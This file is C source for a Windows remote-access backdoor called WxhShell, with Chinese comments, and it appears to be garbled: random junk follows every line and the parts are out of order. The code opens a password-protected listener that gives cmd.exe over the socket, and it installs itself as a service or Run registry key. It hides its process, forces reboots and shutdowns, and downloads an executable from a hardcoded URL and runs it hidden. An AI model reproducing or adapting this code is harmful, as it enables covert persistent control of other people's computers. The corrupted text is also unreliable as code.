    if(Boot(SHUTDOWN)) *i^`Dw^~y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h4_ b!E@  
    else { [)^mBVht  
    closesocket(wsh); GF8 -_X  
    ExitThread(0); sYJL-2JX  
    } hq=,Z1J  
    break; #ly@;!M  
    } OF[?Z  
  // 获取shell &iNwvA%9D  
  case 's': { l _+6=u  
    CmdShell(wsh); O sQkA2=  
    closesocket(wsh); #uSK#>H_!  
    ExitThread(0); .wmnnvtl,  
    break; wd[eJcQ,  
  } a d9CsvW  
  // 退出 4WC9US-k  
  case 'x': { C-m*?))go  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `5q ;ssu  
    CloseIt(wsh); ,> n% ~'gb  
    break; 5Fm av5  
    } 8TE>IPjm  
  // 离开 {CtR+4KD  
  case 'q': { d|XmasGN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "xe=N  
    closesocket(wsh); Mo D?2J  
    WSACleanup(); v!9i"@<!  
    exit(1); D8%AV; -Y  
    break; qi(*ty  
        } 7{e=="#*  
  } qj!eLA-aD  
  } WNs}sNSf  
7\ypW$Ot  
  // 提示信息 PY`L$e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hN3u@P^  
} 9xFO]Y"  
  } \=;uu_v$  
Ye5jB2Z  
  return; wG 1l+^p  
} Ts9ktPlm  
z x@$RS+]  
// shell模块句柄 "7,FXTaer  
int CmdShell(SOCKET sock) d--'Rn5  
{ pu+ur=5&  
STARTUPINFO si; i%-Ld Ka}"  
ZeroMemory(&si,sizeof(si)); {^}0 G^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]E3<UR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ('C7=u&F  
PROCESS_INFORMATION ProcessInfo; $bvJTuw  
char cmdline[]="cmd"; ['q&@_d7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ub_4yN;  
  return 0; -)jax  
} h5"Ov,K3[  
ibpzeuUl  
// 自身启动模式 Pf <[|yu4?  
int StartFromService(void) oH#v6{y  
{ Pm+tQ  
typedef struct kM/Te{<  
{ ^ B/9{0n'  
  DWORD ExitStatus; 3QXjD/h  
  DWORD PebBaseAddress; [q*%U4qGO  
  DWORD AffinityMask; JWv{=_2w  
  DWORD BasePriority; J~#$J&iKh  
  ULONG UniqueProcessId; >?lOE -}^  
  ULONG InheritedFromUniqueProcessId; qQ0C?  
}   PROCESS_BASIC_INFORMATION; uuNR?1fS  
ua5?(,E`']  
PROCNTQSIP NtQueryInformationProcess; a|4~NL  
C3'rtY.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R@iUCT^$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +G F#?X0^  
'zZcn" +!  
  HANDLE             hProcess; $w#r"= )  
  PROCESS_BASIC_INFORMATION pbi; #!2k<Q*5uT  
G8Z4J7^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i3VW1~.8  
  if(NULL == hInst ) return 0; S'LZk9E  
)IL #>2n?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K_/zuTy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EW<kI+0D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e>}}:Ud  
\ HZ9S=  
  if (!NtQueryInformationProcess) return 0; T?Fcohz(  
g(C|!}ex/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4|?{VQ  
  if(!hProcess) return 0; Oakb'  
$wB^R(f@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 23!;}zHp  
d[D&J  
  CloseHandle(hProcess); MJ`3ta  
kc `V4b%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uC3:7  
if(hProcess==NULL) return 0; SOZPZUUEJ  
%dST6$Z  
HMODULE hMod; & fC!(Oy  
char procName[255]; ao" %WX  
unsigned long cbNeeded; Sh6JF574T  
+pm[f["C.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I6!5Yj]O"  
8eBOr9l+j  
  CloseHandle(hProcess); H)w(q^i  
S~Z|PLtF  
if(strstr(procName,"services")) return 1; // 以服务启动 qa`-* 4m  
N2'qpxOLI  
  return 0; // 注册表启动 Z?P~z07  
} }[+!$#  
lv&mp0V+  
// 主模块  +=q)  
int StartWxhshell(LPSTR lpCmdLine) ~[WF_NU1y  
{ b2,mCfLsv  
  SOCKET wsl; iIT8H\e  
BOOL val=TRUE; ^ KK_qC  
  int port=0; |'O[7uT  
  struct sockaddr_in door; TjMe?p  
h%; e0Xz|  
  if(wscfg.ws_autoins) Install(); X?:o;wB  
IP`6bMd  
port=atoi(lpCmdLine); / $  :j  
OLGBt  
if(port<=0) port=wscfg.ws_port; 2&'|Eqk  
7uorQfR?  
  WSADATA data; |BT MJ:B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vbx6I>\Y  
u]-_<YZ'B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1n5(S<T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?3ig)J,e[  
  door.sin_family = AF_INET; :2 >hoAJJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0Sq][W=  
  door.sin_port = htons(port); '>$EOg"  
X,aYK;q%z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \0l>q ,  
closesocket(wsl); PNF?;*`-{7  
return 1; SzwQOs*  
} s>k Uh  
7|\@zQ h   
  if(listen(wsl,2) == INVALID_SOCKET) { ?"#%SKm  
closesocket(wsl); n79QJl/  
return 1; VErv;GyV  
} h&.wo !  
  Wxhshell(wsl); 7]xm2CHx5  
  WSACleanup(); ]M/9#mD9~  
'i;|c  
return 0; /-bF$)vN  
^D^4 YJz  
} -K,-h[ o  
KrVcwAcq|1  
// 以NT服务方式启动 ^-mRP\5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S##1GOO  
{ \^(0B8|w  
DWORD   status = 0; 9a\nszwa  
  DWORD   specificError = 0xfffffff; G22NQ~w8  
Pq*s{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V.ht, ~l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @`tXKP$so  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ES~^M840f  
  serviceStatus.dwWin32ExitCode     = 0; iwz  
  serviceStatus.dwServiceSpecificExitCode = 0; HEL!GC>#  
  serviceStatus.dwCheckPoint       = 0; c_aZ{S  
  serviceStatus.dwWaitHint       = 0; 5D M"0  
-9RDr\&`(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MMB@.W  
  if (hServiceStatusHandle==0) return; g (VNy@  
0;S,tJg  
status = GetLastError(); /@AEJ][$  
  if (status!=NO_ERROR) -jgysBw+Xb  
{ o"wXIHUmV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M/x>51<  
    serviceStatus.dwCheckPoint       = 0; ikWtC]y  
    serviceStatus.dwWaitHint       = 0; DeR='7n  
    serviceStatus.dwWin32ExitCode     = status; PH"hn]  
    serviceStatus.dwServiceSpecificExitCode = specificError; Vpy 2\wZWb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K{n{KB&_&  
    return; e%8|<g+n6  
  } DD" $1o"  
1/p*tZP8i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {G <kA(Lm  
  serviceStatus.dwCheckPoint       = 0; s yU9O&<  
  serviceStatus.dwWaitHint       = 0; y/e 2l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dz~co Z9  
} vR0 ];{  
cvwhSdZu8  
// 处理NT服务事件,比如:启动、停止 ThPE 0V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >!_Xgw  
{ < >UPD02  
switch(fdwControl)  h:lt<y  
{ ]Jh+'RK\#  
case SERVICE_CONTROL_STOP: 1ygpp0IGJ  
  serviceStatus.dwWin32ExitCode = 0; QwhRNnE=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P oEqurH0  
  serviceStatus.dwCheckPoint   = 0; r=yK,d/1  
  serviceStatus.dwWaitHint     = 0; Ai D[SR  
  { Fnk_\d6Ma  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -{^}"N  
  } ?+T^O?r|O  
  return; >]o}}KF?  
case SERVICE_CONTROL_PAUSE: .0R v(Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s2j['g5  
  break; ngj,x7t  
case SERVICE_CONTROL_CONTINUE: )%!XSsY.N|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OL_{_K(w  
  break; 8M@BG8  
case SERVICE_CONTROL_INTERROGATE: 0%!rx{f#\  
  break; :xKcpY[{  
}; + [Hh,I7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AeAp0cbet  
} ;3_l@dP"  
.z13 =yv  
// 标准应用程序主函数 52upoU>}2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [ sd;`xk  
{ qj cp65^  
=^ T\Xs;GK  
// 获取操作系统版本 P{Q=mEQ  
OsIsNt=GetOsVer(); FKe,qTqa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2lL,zFAq  
'+j} >Q  
  // 从命令行安装 ~ %B<  
  if(strpbrk(lpCmdLine,"iI")) Install(); v]B L[/4  
; S xFp  
  // 下载执行文件 gm9mg*aM  
if(wscfg.ws_downexe) { yV)la@c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DcSnia62f  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?5kHa_^  
} OFje+S  
?eV4 SH  
if(!OsIsNt) { gWY "w!f  
// 如果时win9x,隐藏进程并且设置为注册表启动 pLv$\ MiZ  
HideProc(); fib}b? vk  
StartWxhshell(lpCmdLine); 3> /K0N|$  
} 5q "ON)x  
else +2 Af&~T  
  if(StartFromService()) _)]CzBRq\6  
  // 以服务方式启动 !x'/9^i~v  
  StartServiceCtrlDispatcher(DispatchTable); Z,iHy3`  
else u1xSp<59C  
  // 普通方式启动 A)ipFB 6K  
  StartWxhshell(lpCmdLine); u.rY#cS,-R  
wf1lyS  
return 0; &~CY]PN.  
} B c2p(z4  
>vo=]c w  
y\{%\$  
Fd*8N8Pi  
=========================================== M:5b4$Qh<  
C* nB  
}MUn/ [x  
gk`zA  
+**!@uY  
'=P7""mN5  
" %,ngRYxT#  
Le%Z V%,  
#include <stdio.h> wj[$9UJb  
#include <string.h> "kZ[N'z (  
#include <windows.h> +MmHu6"1  
#include <winsock2.h> iX3HtIBj'  
#include <winsvc.h> N>>uCkC  
#include <urlmon.h> ?)e37  
C!7>1I~5  
#pragma comment (lib, "Ws2_32.lib") <]G]W/eB'  
#pragma comment (lib, "urlmon.lib") ;NlWb =  
Ie%EH  
#define MAX_USER   100 // 最大客户端连接数 s=42uKz  
#define BUF_SOCK   200 // sock buffer n("0%@ov  
#define KEY_BUFF   255 // 输入 buffer " LJq%E  
q{+_ <2U|  
#define REBOOT     0   // 重启 10H)^p%3+  
#define SHUTDOWN   1   // 关机 >3&O::]3  
*{+G=d  
#define DEF_PORT   5000 // 监听端口 .CFa9"<  
Ao/ jt<  
#define REG_LEN     16   // 注册表键长度 0T46sm r  
#define SVC_LEN     80   // NT服务名长度 'fPdpnJ<  
r [ K5w  
// 从dll定义API MX+ Z ?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "+unS)M;Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;t+ub8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jbR0%X2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E\C9|1)  
K(q-?n`<  
// wxhshell配置信息 [k-+AA>:  
struct WSCFG { B2ec@]uD`  
  int ws_port;         // 监听端口 36am-G  
  char ws_passstr[REG_LEN]; // 口令 EAeqLtFqs  
  int ws_autoins;       // 安装标记, 1=yes 0=no |<O9Sb_  
  char ws_regname[REG_LEN]; // 注册表键名 t:fFU1x  
  char ws_svcname[REG_LEN]; // 服务名 Q?X>E3=U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @$T 9Ll  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R i^[i}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tr7<]Hm:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i E CrI3s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D1 &A,2wO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <\;#jF%V  
o;?/HE%,[  
}; 85GKymz$P  
MQ"xOcD*F  
// default Wxhshell configuration +5XpzZ{#Wa  
struct WSCFG wscfg={DEF_PORT, yBI'djL~>  
    "xuhuanlingzhe", T*KMksjxm`  
    1, 7k8pZ  
    "Wxhshell", JY6 Q p  
    "Wxhshell", XU"~h64]  
            "WxhShell Service", x.q+uU$^  
    "Wrsky Windows CmdShell Service", )&!&AlLn  
    "Please Input Your Password: ", :kGU,>BN  
  1, nR`ov1RH  
  "http://www.wrsky.com/wxhshell.exe", %dY<=x#b  
  "Wxhshell.exe" xNbPsoK  
    }; yiO. z  
F8apH{&t  
// 消息定义模块 50={%R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k-}b{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <n#DT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YY!Rz[/  
char *msg_ws_ext="\n\rExit."; 71\xCSI1w&  
char *msg_ws_end="\n\rQuit."; 4t)/  
char *msg_ws_boot="\n\rReboot..."; YIjTL!bA"  
char *msg_ws_poff="\n\rShutdown..."; nvPwngEQm  
char *msg_ws_down="\n\rSave to "; q`r**N+zn  
l'eyq}&  
char *msg_ws_err="\n\rErr!"; 6R^^.tCs  
char *msg_ws_ok="\n\rOK!"; 8-O)Xx}cU  
LGtIm7  
char ExeFile[MAX_PATH]; V5rS T +  
int nUser = 0; KY~- ;0x  
HANDLE handles[MAX_USER]; _F`lq_C  
int OsIsNt; bcYF\@};  
6H7],aMg$A  
SERVICE_STATUS       serviceStatus; 4#l o$#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9 yfJVg  
q|),`.eh\  
// 函数声明 Q@HopiC  
int Install(void); eow'K 821A  
int Uninstall(void); ^ (FdXGs[  
int DownloadFile(char *sURL, SOCKET wsh); v;ZA 4c  
int Boot(int flag); wH@Ns~[MA  
void HideProc(void); :eCU/BC4  
int GetOsVer(void); y~\oTJb  
int Wxhshell(SOCKET wsl); Nal9M[]c  
void TalkWithClient(void *cs); jB(|";G  
int CmdShell(SOCKET sock); 9B9(8PVG  
int StartFromService(void); 5^x1cUB]  
int StartWxhshell(LPSTR lpCmdLine); Z+=@<i''  
5@BBo eG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {lc\,F*$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hzvd t  
q*>&^V$M  
// 数据结构和表定义 RVQh2'w  
SERVICE_TABLE_ENTRY DispatchTable[] = &e!7Z40w@&  
{ SBS3?hw  
{wscfg.ws_svcname, NTServiceMain}, bR)(H%I  
{NULL, NULL} .*)2SNH  
}; a8UwhjFO  
?pd8w#O  
// 自我安装 :\o {_  
int Install(void) VFys.=  
{ 55fC~J<  
  char svExeFile[MAX_PATH]; # }y2)g  
  HKEY key; BGX.U\uc  
  strcpy(svExeFile,ExeFile); sdo [D  
k1D@fiz  
// 如果是win9x系统,修改注册表设为自启动 +csi[c)3E  
if(!OsIsNt) { #%h-[/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h3xAJ!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h[@tZ( jrY  
  RegCloseKey(key); 9'X7w G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3zcU%*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zo~  
  RegCloseKey(key); @P?~KW6<|  
  return 0; XY3v_5~/1F  
    } ZNvEW  
  } "9Q40w\  
} =D<PVGo9  
else { Rw0qcM\>|  
|3KLk?2  
// 如果是NT以上系统,安装为系统服务  ^0 \  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y<%@s}zc  
if (schSCManager!=0)  UWo]s.  
{ '?p<lu^^B  
  SC_HANDLE schService = CreateService XLrwxj0  
  ( }*S `qW;B  
  schSCManager, yvO{:B8%  
  wscfg.ws_svcname, |M, iM]  
  wscfg.ws_svcdisp, #6HA\dE  
  SERVICE_ALL_ACCESS, t,+nQ9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ) u`[6,d  
  SERVICE_AUTO_START, 85Otss/mM  
  SERVICE_ERROR_NORMAL, y1+*6|  
  svExeFile, z?*w8kU&>  
  NULL, N@Uy=?)ZJ  
  NULL, LAS'u "c|  
  NULL, IHv[v*4:  
  NULL, 9^#c| 0T  
  NULL 7%|~>  
  ); 6"&6 `f  
  if (schService!=0) Oagsoik  
  { c2'Lfgx4  
  CloseServiceHandle(schService); &keR~~/  
  CloseServiceHandle(schSCManager); U!*M*s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I7n"&{s"*  
  strcat(svExeFile,wscfg.ws_svcname); P"8~$ P#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UKT%13CO4U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aGtf z)  
  RegCloseKey(key); oF1,QQ^dg  
  return 0; D!Pq4'd(  
    } 0vD7v  
  } S]Mw #O|  
  CloseServiceHandle(schSCManager); ]rH\`0  
} MS 81sN\d  
} 8h*Icf  
tne ST.  
return 1; L"1}V  
} /)}q Xx&  
($;77fPR  
// 自我卸载 `-J%pEIza  
int Uninstall(void) ZJzt~ H  
{ afuOeZP  
  HKEY key; _ 4U5  
?kH8Lw~{5W  
if(!OsIsNt) { Z8@J`0x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xRzFlay8  
  RegDeleteValue(key,wscfg.ws_regname); 1q:2\d]  
  RegCloseKey(key); jZ~n[ f+Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2q=AEv/  
  RegDeleteValue(key,wscfg.ws_regname); PGhY>$q>b  
  RegCloseKey(key); <oT^A|JFj  
  return 0; %^4CSh  
  } ;RC{<wBTx  
} ;S^'V  
} q$Zh@  
else { WrxP  
d"*uBVzXm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); - -HZX  
if (schSCManager!=0) H Y&DmE  
{ [S9K6%w_!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;5S9y7[i|  
  if (schService!=0) 1Z+8r  
  { W14 J],{L  
  if(DeleteService(schService)!=0) { !Sh&3uy_qN  
  CloseServiceHandle(schService); p6#g;$V$  
  CloseServiceHandle(schSCManager); i1NY9br  
  return 0; D%OQ e#!  
  } r%yvOF\>  
  CloseServiceHandle(schService); ~=6xyc/c  
  } CY s,`  
  CloseServiceHandle(schSCManager); fzb29 -  
} jET{Le8i  
} hIs4@0  
-.u]GeMy  
return 1; ao1(]64X"  
} 8*#R]9  
s%nUaWp~  
// 从指定url下载文件 %et } A93  
int DownloadFile(char *sURL, SOCKET wsh) .oYl-.E>&  
{ :8=ikwQ  
  HRESULT hr; &_dt>.  
char seps[]= "/"; c[wla<dO*  
char *token; a eFe!`F  
char *file; 6}[I2F_^  
char myURL[MAX_PATH]; :cem,#(=  
char myFILE[MAX_PATH]; cu7hBf j  
AN8`7F1  
strcpy(myURL,sURL); "d#Y}@*~o  
  token=strtok(myURL,seps); lT(WD}OS  
  while(token!=NULL) V@e?#iz  
  { LrM=*R h,O  
    file=token; DCIxRPw  
  token=strtok(NULL,seps); oTU!R ,  
  } jnKWZ/R  
y&q*maa[  
GetCurrentDirectory(MAX_PATH,myFILE); Fq~yL!#!  
strcat(myFILE, "\\"); ,Ys %:>?  
strcat(myFILE, file); #%iDT6  
  send(wsh,myFILE,strlen(myFILE),0); eL10Q(;P`  
send(wsh,"...",3,0); 3G,Oba[$<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [YF>:ydk  
  if(hr==S_OK) nBjqTud  
return 0; [R(`W#W  
else Y!~49<;  
return 1; $+8cc\fq  
0=@?ob7  
} bv]`!g: C  
LSa,1{  
// 系统电源模块 p4.wh|n  
int Boot(int flag) Se :.4<  
{ 2,$8icM  
  HANDLE hToken; $2oTkOA   
  TOKEN_PRIVILEGES tkp; "bFTk/  
,&]S(|2%>t  
  if(OsIsNt) { H*RC@O_hv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =x%dNf$e{W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); YSr9VpqWV  
    tkp.PrivilegeCount = 1; Xb:;</  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c]x1HvPE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jSD#X3qp  
if(flag==REBOOT) { aktU$Wbwl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [-65PC4aN  
  return 0; iV5yJF{ZH  
} s:>Va GC  
else { ~("5y G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YIn',]p:  
  return 0; ;(f) &Yom  
} X[*<NN  
  } 0Is,*Srr  
  else { a]JYDq`,3  
if(flag==REBOOT) { BWeA@v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [pC$+NX  
  return 0; 3c#BKHNC  
} %+ @O#P  
else { ypbe!Y<i]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m!|kW{B#A  
  return 0; 5L+>ewl  
} _GXk0Ia3`  
} j~2{lCT  
5gb|w\N>  
return 1; v~f HYa>  
} A;;fACF8e  
.f*4T4eR-  
// win9x进程隐藏模块 _Zp}?b5Q  
void HideProc(void) nF54tR[  
{ |'.*K]Yp  
;kFDMuuO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *;l]8.  
  if ( hKernel != NULL ) H7z,j}l  
  { )JDs\fUE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9A/\h3HrJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Hbj,[$Jb  
    FreeLibrary(hKernel); ^!<U_;+  
  } }6p@lla,%]  
03|PYk 6EW  
return; \l'm[jy>  
} Lz`E;k^  
\s/s7y6b+  
// 获取操作系统版本 oiF}?:7Q7  
int GetOsVer(void) 0ZT5bg_M  
{ MuYk};f  
  OSVERSIONINFO winfo; ;+e}aER&9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O!m vJD  
  GetVersionEx(&winfo); 5QW=&zI`=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8>trS=;n  
  return 1; (n*^4@"2  
  else #^`4DhQ/ 1  
  return 0; w,.+IV$Kk  
} "W=AB&  
u8gS< \  
// 客户端句柄模块 ;9[fonk  
int Wxhshell(SOCKET wsl) <LmIK  
{ O}+.U<V  
  SOCKET wsh; NO~*T?&  
  struct sockaddr_in client; T_i:}ul  
  DWORD myID; $*SW8'],`  
AJf4_+He  
  while(nUser<MAX_USER) 00G%gQXk,  
{ S/}2;\Xm  
  int nSize=sizeof(client); b=g8eMm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GQt8p[!  
  if(wsh==INVALID_SOCKET) return 1; gD,1 06%  
-9%:ilX~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >z/#_z@LV  
if(handles[nUser]==0) r;B8i!gD  
  closesocket(wsh); I(]}XZq  
else J@^8ko  
  nUser++; =+/eLKG  
  } &Lt}=3G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $}<PL}+  
=@m &s^R  
  return 0; {v=T [D  
} udxFz2>_l$  
J5di[nu  
// 关闭 socket gi(H]|=a  
void CloseIt(SOCKET wsh) NgADKrDU  
{ $LKIT0  
closesocket(wsh); (*Z)(O*z  
nUser--; hLI`If/+K  
ExitThread(0); W}--p fG  
} qmnZAk  
!2 LCLN\  
// 客户端请求句柄 *}]Nf  
void TalkWithClient(void *cs) V `b2TS  
{ 8}c$XmCM  
O*eby*%h  
  SOCKET wsh=(SOCKET)cs; 4zASMu  
  char pwd[SVC_LEN]; 2>|dF~"  
  char cmd[KEY_BUFF]; _p# CwExuy  
char chr[1]; CKtB-a  
int i,j; &+a9+y  
,oN8HpGs  
  while (nUser < MAX_USER) { k'gh  
m`IC6*  
if(wscfg.ws_passstr) { U1@IX4^2`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,R'@%,/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IC#>X5  
  //ZeroMemory(pwd,KEY_BUFF); s8QM ewU  
      i=0; D;oe2E{I  
  while(i<SVC_LEN) { @.osJ}FxA  
oeKHqP wg  
  // 设置超时 K\>tA)IPSV  
  fd_set FdRead; kd=GCO  
  struct timeval TimeOut; XUM!Qv  
  FD_ZERO(&FdRead); VcAue!MN  
  FD_SET(wsh,&FdRead); *YW/_  
  TimeOut.tv_sec=8; &K[_J  
  TimeOut.tv_usec=0; 3t`P@nL0;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J c g,#@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @En^wN  
g3Ec"_>P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Mx6@$tQ%  
  pwd=chr[0]; M^MdRu  
  if(chr[0]==0xd || chr[0]==0xa) { l*ayd>`~x  
  pwd=0; \qR7mI/*  
  break; j Yx38_5e  
  } -#0qV:D  
  i++; tna .52*/  
    } @xQgY*f#  
*n; !G8\  
  // 如果是非法用户,关闭 socket AcS|c:3MUy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O>qll 6]{@  
} `D>S;[~S7  
~Cl){8o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JCz@s~f\y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F ;{n"3<  
.EpV;xq}  
while(1) { Cnnh7`  
^:6{22C{  
  ZeroMemory(cmd,KEY_BUFF); WxW7qt  
7x#Ckep:I  
      // 自动支持客户端 telnet标准    gG uZ8:f  
  j=0; <!L>Exh&r  
  while(j<KEY_BUFF) { bQE};wM,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k xP-,MD  
  cmd[j]=chr[0]; uJOJ-5}yt  
  if(chr[0]==0xa || chr[0]==0xd) { (H)2s Y  
  cmd[j]=0; 4 d;|sI@  
  break; |w_7_J2  
  } WEFlV4/  
  j++; 0="%Y ^N  
    } &?VQ,+[ <  
tDSJpW'd  
  // 下载文件 (]b!{kS  
  if(strstr(cmd,"http://")) { 9w"h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MA;1 ;uI,  
  if(DownloadFile(cmd,wsh)) U2{ dN>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z&ZP"P4  
  else =NOH:#iQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [OHxonU  
  } A{UULVp  
  else { %R@X>2l/_  
T^:UBjK6t{  
    switch(cmd[0]) { &f!z1d-qg?  
  bx<RV7>0  
  // 帮助 6WV\}d:  
  case '?': { GMMp|WV|  
